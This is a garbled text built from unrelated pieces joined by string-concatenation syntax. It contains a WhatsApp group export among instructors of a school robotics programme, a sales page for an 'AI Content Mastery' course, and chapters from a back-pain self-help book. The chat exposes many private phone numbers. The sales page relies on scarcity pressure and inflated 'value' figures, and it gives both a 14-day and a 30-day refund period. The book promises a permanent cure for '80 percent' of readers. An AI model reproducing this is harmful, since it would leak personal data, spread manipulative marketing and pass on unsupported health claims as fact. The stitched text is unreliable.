B2B-AllInstructors: \u200eWB Shilpa Partner added you\n[13/10/22, 5:18:39 PM] WB Shilpa Partner: \u200eThis message was deleted.\n[13/10/22, 5:19:12 PM] WB Shilpa Partner: Hello everyone,\nAs we are going live in schools , we have created this group to update the progress and issues if you are facing.\n\nWe have LnD team, tech support team , Dev team added on to this group \nThanks\n[13/10/22, 5:21:15 PM] \u202a+91\xa081245\xa006450\u202c: Ok mam\n[13/10/22, 5:21:35 PM] WB Bisal shaw: ok ma'am\n[13/10/22, 5:24:41 PM] \u202a+91\xa080150\xa077049\u202c: 👍🏻\n[13/10/22, 5:26:27 PM] \u202a+91\xa083107\xa072001\u202c: 👍\n[13/10/22, 5:26:43 PM] \u202a+91\xa089392\xa061199\u202c: Okay mam\n\u200e[13/10/22, 6:04:14 PM] \u202a+91\xa096053\xa066484\u202c: \u200eContact card omitted\n[13/10/22, 6:04:27 PM] \u202a+91\xa096053\xa066484\u202c: Please add this instructor too\n[13/10/22, 6:28:39 PM] WB Deveshwar: \u200eWB Ranjitha Partner added WB Deveshwar\n[13/10/22, 6:35:03 PM] \u202a+91\xa099167\xa026126\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa099167\xa026126\u202c\n[13/10/22, 6:35:52 PM] B2B-AllInstructors: \u200eWB Ranjitha Partner added \u200e\u202a+91\xa070192\xa042243\u202c and \u202a+91\xa082290\xa069585\u202c\n[13/10/22, 6:36:22 PM] \u202a+91\xa097878\xa005551\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa097878\xa005551\u202c\n[13/10/22, 6:39:14 PM] \u202a+91\xa082489\xa084965\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa082489\xa084965\u202c\n[14/10/22, 2:53:20 AM] \u202a+91\xa06307\xa0100\xa0145\u202c: \u200eThis message was deleted.\n\u200e[14/10/22, 10:59:07 AM] \u202a+91\xa081245\xa006450\u202c: \u200eimage omitted\n\u200e[14/10/22, 10:59:07 AM] \u202a+91\xa081245\xa006450\u202c: \u200eimage omitted\n[14/10/22, 10:59:44 AM] \u202a+91\xa081245\xa006450\u202c: For me wizskill not working changed token also but saying token expired\n[14/10/22, 11:00:02 AM] \u202a+91\xa081245\xa006450\u202c: Can any one solve this?\n[14/10/22, 11:01:02 AM] \u202a+91\xa075848\xa035819\u202c: Refresh the page generate new token\n[14/10/22, 11:13:06 AM] WB Shilpa Partner: Srini as discussed kindly see if your device is online . Test smart light and then try to work on this program with 7 segment\n[14/10/22, 11:44:53 AM] \u202a+91\xa081245\xa006450\u202c: Ok mam\n\u200e[14/10/22, 12:11:23 PM] \u202a+91\xa090147\xa043140\u202c: \u200eimage omitted\n[14/10/22, 12:11:34 PM] \u202a+91\xa090147\xa043140\u202c: What's this kit mam\n[14/10/22, 12:12:26 PM] \u202a+91\xa090147\xa043140\u202c: It's send from our company to school\n[14/10/22, 12:47:28 PM] WB Shilpa Partner: Open and see Nikita - also any kit related please talk to Suri sir\n\u200e[14/10/22, 12:47:48 PM] WB Shilpa Partner: \u200eContact card omitted\n\u200e[14/10/22, 1:31:36 PM] WB Shilpa Partner: Consumer-vs-Creator.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:36 PM] WB Shilpa Partner: Deck for SC teachers Orientation.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:40 PM] WB Shilpa Partner: INFINITY FUTURZ PARENT ORIENTATION.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:40 PM] WB Shilpa Partner: infinity\\_futurz\\_B2B.pdf • \u200e7 pages \u200edocument omitted\n[14/10/22, 1:32:20 PM] WB Shilpa Partner: Please save these docs and go through the details which will help you all when you are handling Teacher Orienation/Parent Orientations\n\nKindly revert back for any questions\n[14/10/22, 1:32:43 PM] \u202a+91\xa098673\xa010262\u202c: Okay mam\n[14/10/22, 1:32:58 PM] \u202a+91\xa083107\xa072001\u202c: Shilpa can we showcase some slides in ptm\n[14/10/22, 1:33:01 PM] WB Shilpa Partner: Parent Orientation Recordings:\n\nhttps://drive.google.com/drive/u/1/folders/1GjupMsp87BsQ3gr19daMF4P6ySSeiHxK\n\nWebinar videos\nhttps://drive.google.com/drive/u/1/folders/1lwxNw9Ea-uzVDNMcuHbuRWq52RFEyn\\_K\n\nLab set up \nhttps://drive.google.com/drive/u/1/folders/1lwxNw9Ea-uzVDNMcuHbuRWq52RFEyn\\_K\n\nFAQ - for PO\nhttps://docs.google.com/document/d/1jlKeBiTfe7R-j-gmbJGRXNuRHAgEvs7CejTL2L1bIbs/edit\n[14/10/22, 1:33:14 PM] WB Shilpa Partner: \u200eWB Shilpa Partner changed the group description\n[14/10/22, 1:33:30 PM] WB Shilpa Partner: Adding these as part of This whats app Group Description\n[14/10/22, 1:33:59 PM] \u202a+91\xa083107\xa072001\u202c: Pls confirm as we have a ptm tomorrow\n[14/10/22, 1:34:42 PM] WB Shilpa Partner: Request all Instructors to go through the recordings - FAQ doc . PO ppt has been shared above which can be used when conducting the sessions\n[14/10/22, 1:36:27 PM] WB Shilpa Partner: yes use the ppts / pdfs based on the session you are handling we have sent Teacher Orientation , Parent Orientation and also PDF which can be used\n[14/10/22, 1:36:58 PM] \u202a+91\xa083107\xa072001\u202c: Ok thanks\n[14/10/22, 1:47:17 PM] \u202a+91\xa083107\xa072001\u202c: Thanks a lot. It will help to a great extent\n[14/10/22, 1:49:25 PM] Pankaj Sir: Thanks for creating this group Shilpa\n[14/10/22, 1:50:54 PM] \u202a+91\xa089392\xa061199\u202c: Sure mam thank you so much\n[14/10/22, 1:50:55 PM] WB Shilpa Partner: Anitha, Izaz, Vasudha, Zalak - if you need any help wrt session that you guys are conducting tomorrow we can connect at 5 and discuss\n[14/10/22, 1:52:34 PM] \u202a+91\xa089611\xa036061\u202c: Marathalli 2 going live tommorow.\nAlso I have to conduct parent orientation in Marathalli 1 and marathalli 2\n[14/10/22, 1:52:37 PM] Pankaj Sir: Please share all schools lab inauguration and actions on this group\n[14/10/22, 1:52:49 PM] WB Shilpa Partner: Okay go though the slide that we have shared ..\n[14/10/22, 1:52:57 PM] \u202a+91\xa089611\xa036061\u202c: Yes ma'am\n[14/10/22, 1:53:02 PM] WB Shilpa Partner: All the best everyone!\n[14/10/22, 1:53:22 PM] \u202a+91\xa089611\xa036061\u202c: Sure sir\n[14/10/22, 1:53:48 PM] Pankaj Sir: @919606819666 can we stop the batch wise groups and start using this for all communications\n\u200e[14/10/22, 2:22:34 PM] Surendra Parihar: \u200eimage omitted\n[14/10/22, 2:22:52 PM] Surendra Parihar: Support Staff Numbers...\n[14/10/22, 2:32:51 PM] WB Zalak Vyas: For tomorrow i am having session 0 in a different school so till session 0 I don't have any queries.\n[14/10/22, 2:33:23 PM] WB Shilpa Partner: okay\n[14/10/22, 2:34:16 PM] \u202a+91\xa081245\xa006450\u202c: Thanks for update i have doubt in change mdash to aws I will ask\n[14/10/22, 2:41:54 PM] \u202a+91\xa096296\xa062139\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa096296\xa062139\u202c\n[14/10/22, 2:40:55 PM] WB Gunjan Instructor WK: Tomorrow their is PTM in Ram Murthy - 3. I have to interact with parents. What to do?\n[14/10/22, 2:41:54 PM] \u202a+91\xa083107\xa072001\u202c: Thanks Shilpa I don't have any queries for tomorrow's session\n[14/10/22, 2:42:56 PM] WB Gunjan Instructor WK: Some students interested in buying wizgear kit. Especially those who have enrolled .\n[14/10/22, 2:44:16 PM] WB Swetha Partner: +1\n[14/10/22, 2:44:35 PM] \u202a+91\xa090363\xa095869\u202c: We are still waiting for live classes mam.....we are on enrollment process.... We have ptms going for next three days about to address the parent queries\n[14/10/22, 3:19:45 PM] WB Shilpa Partner: \u200eWB Shilpa Partner changed the group description\n[14/10/22, 3:20:07 PM] WB Shilpa Partner: Great Vasudha\n[14/10/22, 3:40:28 PM] WB Vidya: \u200eWB Shilpa Partner added WB Vidya\n[14/10/22, 4:13:20 PM] WB Shilpa Partner: Team,\nIf you have any questions related to the orientation time and the location. Kindly connect back with PMO team where Savitha mam will be able to help you \nThanks\n[14/10/22, 4:14:33 PM] \u202a+91\xa070137\xa023609\u202c: \u200eThis message was deleted.\n\npls confirm you read this." +'Jasper Logo\nRapidly Build Your Digital Empire with A.I. in Less Than 30 Days\nTrain A.I. to Setup and Run a $100k+ Digital Business For You.\nThe Ultimate Framework designed to help people start a one-person business, create digital products, build a personal brand, and automate processes using AI.\n\nCreate a customer and audience-building machine.\nLearn How AI Can Build You a $100k+ Business 👇\nJoin AI Content Mastery\nCreate High-Value\nDigital Products\nUse A.I. to create products that are easy to distribute, scale, and have low marginal costs. This makes a digital product the most cost-effective way to increase revenue fast.\nBuild a Personal Brand That Gives You Credibility\nTo gain traction and make people pay attention to you, there is a formula. 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CONTENT MASTERY\nA 3-Phase Rapid Implementation Mastercourse to Help You Create Your Core Product, Optimize it for Conversions and Get Sales Through Social Media Content\nFoundation\nSTART HERE\nIt\'s important to understand the tools and strategy before going all in. Here we\'ll go over the best ways to use different A.I. tools and an in-depth look at the C.A.M.P. Method.\n\nQuick Overview of What You\'ll Learn in the Foundation\nFalse beliefs about building a digital business\n\u200bThe key missing pieces you need to get past $10k per month in revenue\n\u200bCore principles for using A.I. Tools to get the most out of them\n\u200bDifferent monetization strategies I use with A.I.\n\u200bTools needed for the entire system\n\u200bThe anatomy of building a $100k digital business with A.I.\n\nPHASE 1\nOFFER / PRODUCT CREATION\nWe\'ll be going over the exact A.I. prompts and system to create a product that takes your customers from pain/problem to the desired outcome. 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Create a social media strategy that takes advantage of the unique features and audience of each platform.\nQuick Overview of What You\'ll Learn in Phase #3\nUsing AI to automate your social media posting and scheduling for optimal engagement\n\u200bCreating viral content with AI-powered analysis to identify what resonates with your audience\n\u200bMastering the art of inbound and outbound engagement\n\u200bUtilizing AI-powered tools to create compelling social media visuals, including infographics, animations, and video content that grab attention and drive engagement\n\u200bAutomating the process of finding and engaging with social media influencers to expand your reach and increase traffic to your brand\'s social channels and website\nComplementary Inclusions When You Join The Program\nComplementary Inclusion #1\nAccess to Private Community and Monthly Q&A Calls\nConnect with me directly and get prompt responses within 24 hours or less. Get answers to your questions and gain a clear understanding of how to take your business to the next level.\nComplementary Inclusion #2\nLive Case Study\nI will be creating a brand-new digital business from scratch and showing you throughout the training exactly what I\'m doing to grow it to $100k per month in revenue. I will be showing you everything!\nJoin AI CONTENT MASTERY Today and Get The Following Bonuses for FREE\n\nBonus #1\nViral Storytelling Magic \nYou will significantly increase your results. You\'ll be able to cast spells and get people to do what you want them to do with the power of stories. Stories are how we\'ve all been communicating for years. Master this art, and you\'ll never struggle again. ($197 value)\nBonus #2\n100+ Productivity Prompts\nStart doing more in less time. A.I. is only useful if you know what to tell it. I\'m giving you prompts to copy & paste and get the results you want now. ($47 value)\nBonus #3\nA.I. Action Plan\nThis will put you at a considerable advantage. It\'ll allow you to hit the ground running and make your first $10k with A.I. ($97 Value)\nBonus #4\nSolopreneur A.I.\nGet Beta Access Starting March 1st to the first ever digital product automation tool. We’ve taken the principles in the C.A.M.P. Method and combined it with A.I. to create Software as a Service that builds your digital business even faster. You get access to the beta version before the world does. ($1,200/yr Value)\n\nSo Here\'s A Recap of Everything You\'re Getting\nLifetime Access to AI Content Mastery Masterclass ($997 Value)\nAccess to the A.I. Mastery Community ($497 Value)\nAll My Digital Empire A.I. Prompts ($997 Value)\n\u200bBinge-Worthy Content Automation ($497 Value)\nBonuses\nA.I. Action Plan ($97 Value) \n\u200bViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\nSolopreneur AI ($1,200/yr value)\nTotal Approximate Value = $3,829\nNow, I\'m not going to lie.\n\nA lot of time and money went into putting this all together, and others have been willing to pay me a ton to get their hands on this.\n\nIf I were to sell everything separately, it would be a real-world value of $3,829. Today you can join AI Content Mastery for a one-time investment of only $149.\n\nWhy? \n\nBecause I wish someone had done it for me when I was in your shoes. When you get results with AI Content Mastery, please share your results with me. \n\nBefore I let you go, please understand that we will only sell 100 memberships at this price. After we have 100 members, I\'m raising the price to $497, as that\'s more than fair considering the results it generates.\nJoin AI Content Mastery & Start Building Your Digital Empire with A.I. 🔥\nAI Content Mastery\nThe Ultimate Framework for Launching a Business w/ A.I.\nLaunch Price: $497\n$149\n70% OFF - Discount Ends Soon!\n\u200bBecome an expert in ANY niche and drive consistent leads & sales.\n\u200bBuild an audience to get more attention & reach a wider market faster & easier than ever before!\n\u200bStand out from the crowd and become the leader in your niche.\n\u200bReach more people by using creative writing techniques to create content that resonates with them.\n\u200bIncrease brand awareness and get noticed by potential customers & clients through effective storytelling.\nIncluded: \nLifetime Access to Masterclass & Community\n4 Fast Action Bonuses\n14-Day Money-Back Guarantee\nJoin AI Content Mastery \nAfter payment, you will receive immediate access\n\nAccess To...\nMasterclass & Community\n($2,288 Value)\n\n&\nFast Action Bonuses\n($1,541 Value)\nA.I. Action Plan ( $97 Value)\nViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\n\u200bSolopreneur AI ($1,200/ yr Value)\nTotal Value\n$3,829\n\n100% 14-Day Money Back Guarantee\nWe are confident that if you follow the frameworks and steps laid out in AI Content Mastery you will get results, and we offer a 14-day guarantee to ensure your complete satisfaction.\n\nWhether you need additional support or you would like a refund, we will work with you to ensure that you are completely satisfied with the outcome.\nHere\'s What Others Have to Say About\nAI Content Mastery ❤️\n\n\nJoin AI Content Mastery & Start Building Your Digital Empire with A.I. 🔥\nAI Content Mastery\nThe Ultimate Framework for Launching a Business w/ A.I.\nLaunch Price: $497\n$149\n70% OFF - Discount Ends Soon!\n\u200bBecome an expert in ANY niche and drive consistent leads & sales.\n\u200bBuild an audience to get more attention & reach a wider market faster & easier than ever before!\n\u200bStand out from the crowd and become the leader in your niche.\n\u200bReach more people by using creative writing techniques to create content that resonates with them.\n\u200bIncrease brand awareness and get noticed by potential customers & clients through effective storytelling.\nIncluded: \nLifetime Access to Masterclass & Community\n4 Fast Action Bonuses\n14-Day Money-Back Guarantee\nJoin AI Content Mastery \nAfter payment, you will receive immediate access\n\nAccess To...\nMasterclass & Community\n($2,288 Value)\n\n&\nFast Action Bonuses\n($1,541 Value)\nA.I. Action Plan ( $97 Value)\nViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\n\u200bSolopreneur AI ($1,200/ yr Value)\nTotal Value\n$3,829\nStill Have Questions\nCheck Out Our FAQs\nWhat is AI Content Mastery and how can it help me build my digital business?\nHow long will it take to build my digital business with AI Content Mastery?\nDo I need any previous experience in digital marketing or AI to join this program?\nCan AI really create products and content that are high-quality and engaging?\nWhat kind of products and content can I create using AI with this program?\nWill I receive any ongoing support or assistance after I complete the program?\nIs there a money-back guarantee if I\'m not satisfied with the program?\nYes, there is a money-back guarantee if you\'re not satisfied with the program. AI Content Mastery offers a 30-day money-back guarantee, so if you\'re not satisfied with the program for any reason, you can request a refund within 30 days of purchase.\n\naccordion.txt Displaying accordion.txt.\nStop trading time for money and start leveraging artificial intelligence to automate your income 👇\nLast chance -- 70% OFF\nGet the Ultimate Framework to Building a Digital Business with A.I.\n14-day money-back guarantee,\nno questions asked\n Secure Your Spot\nAccess to Masterclass\n\u200bAccess to Community\n\u200b4+ Fast Action Bonuses\nPrivacy Policy | Terms & Conditions | Contact: admin@aicontentmastery.com\nDISCLAIMER: My results or those of my past clients are no guarantee of your results. I do not guarantee specific results of any kind. Your results will depend on a wide variety of factors, including but not limited to: your work ethic, previous experience, diligence in applying the material, and external economic factors.\n© 2023, AI Content Mastery' +'CHAPTER ONE\n The Promise\n From Chris\nBack pain is the monster in most of our lives. The ogre under the bed. The ogre that lands you in bed all too often. Or on the floor . . . flopping around in pain. Like a sunfish on a hot cement dock. \nMost Americans know that pain well. Know the agony, the sudden sickening return after it’s been gone for a while. The canceling of plans, the loss of a job. Everything. They cannot live with it—not really live—and they would do anything for relief. But there is no relief. They’ve tried everything, and nothing works. Nothing meaningful, anyway. Back pain sufferers spend an average of $2,500 a year for palliative “fixes,” but they get precious little in return. They’d spend more—they’d spend anything—if the fixes really worked. But most don’t. Or not very well. Or not for long. People structure their lives around the pain as best they can, but that doesn’t work either, because you never know when it’s going to hit. \nAnd when it comes, it’s not like a sore shoulder or a bum leg; you can’t use the other arm instead. You can’t limp along with a cane, relying on the good leg. When your back is the problem, everything goes, and you’re cooked. When your back hurts, your life hurts. And you can’t do a damned thing. \nTHE PROMISE\nThat is about to end. You are going to have trouble believing that sentence, but it’s true. That pain is about to go away or be sharply reduced. And the change is going to be permanent. For about 80 percent of you, anyway. That’s an astonishing promise, and it’s absolutely true. We know of nothing else in the field that comes close. \n“Success” means either the permanent elimination of pain (the result for most of you) or a reduction of its severity from the 7–10 level—on a scale of 1–10 (that’s agony)—to the 1–3 level (that’s a nuisance). Blessed, blessed relief, either way. As I say, it is only going to work for about 80 percent of you, but that’s a near-miracle. And Jeremy has solid suggestions for the rest of you, too. (See Chapter 4 to learn if you’re in the 20 percent and find out what to do.) But remember the main point: For 80 percent of you, the pain stops here.\nWe hope that the “you” in that sentence is an enormous number of people. Jeremy is a modest man but he knows what he can do—what he has done—and he is ambitious about taking his protocol to a much broader audience. Indeed, he wants to start a revolution in back pain care in America, starting with you, and he wants it to be universal and cheap. He thinks—he and I think—that it can be done in a book. That sounds wild—that this horrendous problem can be fixed with such a modest tool. But it’s not. Because back pain is all about behavior, and you can deal with behavior in a book. As you will learn in a moment, the vast majority of you created your back pain with your own, long-term behavior. And only you can fix it, with profound changes in that behavior. It is a matter of showing you what you did before that made a mess of your back, and teaching you what you have to do now. And then you doing it. Jeremy explains, and he shows you how. You do the work. You will succeed. A surprise, perhaps one you will have trouble getting your head around at first. But it’s true: You will succeed. \nSo how bad is the problem? Pretty bad, as most of you know. Four out of five of us have back pain so bad we seek help from health care professionals. The nation as a whole spends $100 billion on the problem. It does more to disrupt business than anything else. And, of course, it raises hell with millions of lives. For some, it is a recurring nuisance, something that takes the joy out of the day, the week, the month. For more of us, it is an intermittent horror, with the pain at the agony level and we just can’t move. Your wife calls your host for dinner: “Bill is flat on his back on the floor. We may have to go to the hospital. Sorry.” You can’t go out to dinner; you can’t perform your duties. Hell, you can’t get off the floor! It ruins careers, messes up companies, trashes marriages, and raises holy hell with just about everything else. For most, it comes and goes, but when it comes . . . it’s just god-awful. Oh lord! What do you do?\nNot much, until now. There’s conventional medicine—which is such a blessing in so many areas of our lives—but it is apt not to be great for back pain. For extreme cases (the 20 percent we mentioned), there is surgery, and for them it may be the only option; Jeremy will alert those who should be thinking about it. But surgery—tremendously important and successful for some—is not the answer for most of you. It is well known, for example, that at least one popular operation—spinal fusion—is one of the most overprescribed operations in the country. It is a serious operation (it costs about $100,000), it is often unnecessary, and it often doesn’t work. Not for long, anyway, and sometimes not at all. That is scary. Jeremy, and the best surgeons, all say that surgery should be a last resort. There are other “medical” steps, like cortisone or other shots, but, once again, relief is temporary, there can be serious side effects, and there are limits to how often you can go there. The basic problem with traditional medicine and back pain is that they are not a very good fit. Western medicine is not heavily focused on behavioral problems and behavioral change; it simply did not grow up that way. And back pain is primarily a behavioral problem. Which means that, ultimately, only you can fix it. \nDon’t worry if this concept doesn’t quite sink in at the first reading. It’s what the whole book is about. We’ll get there. Together. \nA Younger Next Year Book\nI say “we’ll get there together,” and that’s an important part of the book and the cure. This is “a Younger Next Year” book. That means several things, as some of you know. First, it means there is a presentation by two writers, a deadly serious professional scientist (that’s Jeremy for this book . . . it was Harry Lodge in the first Younger Next Year books) and a layman (me). As I used to say of Harry and as I now say of Jeremy: “He’s young and smart, and I’m old and funny.” The pairing is supposed to make the book easier to follow (and maybe just a teeny bit fun to read) without losing a whisper of scientific integrity. The scientist is in charge throughout, but reading the book should not make your teeth hurt. Not hurt badly, anyway.\nIt also means that the core idea is that behavioral change can have a profound effect on your wellness and quality of life. Far more of an effect, in important areas, than the best conventional medicine. The “modest” boast in the original Younger Next Year book was that behavioral change could put off 70 percent of aging until close to the end of life, and eliminate 50 percent of the most serious diseases completely. Which was absolutely true; no one has ever disagreed. Over 2 million people bought Younger Next Year (in twenty-three languages) and made it a cult book for those over forty, many thousands of whom profoundly changed their lives. A huge number of people have come up to me and Harry over the years to say, “Hey, man, thanks for writing that book; it changed my life.” Nice.\nThe Younger Next Year Back Book is a little more specific: Behavioral change—spelled out by Jeremy—can end or radically reduce back pain. But the consequences for back pain sufferers are every bit as important. I was with Jeremy recently when a guy in his fifties said to me that he’d come to Jeremy the previous summer, after a lifetime of serious back pain: “I could not bend over to lace my own shoes. I’d been in agony for decades. And Jeremy simply fixed it. Jeremy gave me my life back.” Jeremy has a thousand stories like that. More than a thousand. We hope to have a million before we’re done.\nFinally, it means that the book has a certain integrity. Harry and I went to great lengths to make Younger Next Year solid—conservative, if anything. To the best of our knowledge, there was not a single exaggeration, and certainly not a single misstatement. Jeremy and I have done the same here. Dealing with back pain is an evolving field, and some things we say may turn out to be wrong as people learn more. But not the basic lines and not the major claims. The book is as solid as we can make it, and it will stand up. As Younger Next Year has done, strikingly. \nJeremy came to me with the idea for doing this book together because he thought YNY and his story had “the same genes.” Which was quite right. Beyond that, Jeremy is a “good guy”; he wants to do good in this world, and the fact that back pain makes such a mess of so many lives—unnecessarily in his view—makes him crazy. He knew how successful the Younger Next Year books had been, he knew me, and he thought that maybe the two of us could pair up and get the word out . . . change the world of back pain.\nSo that’s our modest goal here—first Jeremy’s and now mine: We just want to, you know, change the world. And eliminate back pain for millions. Hey, couldn’t hurt. Along the way we hope to make a couple of billion dollars ourselves but Jeremy’s great motivation is to change the world of back pain. Pretty good guy, Jeremy. \nNow, let’s have a quiet word about some things this book won’t do. It won’t do any good if you just stick it under your pillow, for example. You have to read it. Closely. We’ll make that as easy as we can but it ain’t always going to be a walk on the beach. Then, by heaven, you have to go to work yourself on the cure. You have to do the initial fixes yourself. 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"https://engageleads-gallery.s3.us-west-2.amazonaws.com/ProfitQuotesV2/templates/Self+Improvement/slides/pq\\_slide\\_bgvid\\_85.mp4"' +'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' +'CHAPTER TWO\n Jeremy’s Story\n From Jeremy\nI got into the business of healing back pain because I had serious back pain myself, as a young man, caused by a series of athletic injuries. I got into chiropractic and related whole-body disciplines because nothing else worked for me. I went on to develop my own, very different variations on familiar chiropractic practices over time. I do not “pop” backs or any of that, but I draw heavily on the basic elements of the discipline, as well as my reading of the scientific literature generally and my own considerable experience as a practitioner.\nI grew up in a traditional medical household, and fully expected to go to medical school and then into practice. My grandfather was a medical doctor, my father is a medical doctor, my mom is a nurse, my aunt is a nurse, my uncle was a pharmaceutical salesman. I was as deeply immersed in traditional Western medicine as one could possibly be, and I had—and still have—tremendous respect for it. When I was little, I was used to having people come up to me and tell me how much my grandfather had done to save this or that child from some grim fate. He was one of those doctors that they don’t really make anymore. He performed surgeries, delivered babies, made house calls, and was a master diagnostician. And he was also a terrific guy whom I admired a lot. Later I heard the same things about my parents from their patients. \nSo I grew up believing there wasn’t much that modern medicine could not fix, and I couldn’t wait to become a part of it. I emphasize all this because, eventually, I am going to sound a bit reserved about traditional Western medicine and back pain, and I don’t want you to be confused: I revere traditional medicine and understand it better than most. It’s just that it generally isn’t great at curing back pain. And back pain is what I had as a young man . . . a lot of it. And it has been my life ever since. \nMy Personal Pain: Part One \nWhen I was a teenager, I thought I was going to be a professional skateboarder. If you are over fifty, do not snap the book closed at this point; skateboarding is a terrific sport. But it is a slightly dangerous sport and I took many, many falls, some of them pretty bad. I did not become a professional skateboarder; I might have been good enough, but long before that could happen I became a very young man with extremely serious back pain. When that happened, I went the traditional medical route. I went to regular doctors (good ones, as you’d expect) and was poked and prodded; I had ultrasounds and MRIs and blood tests and you-name-it. They talked about an extraordinary range of possible 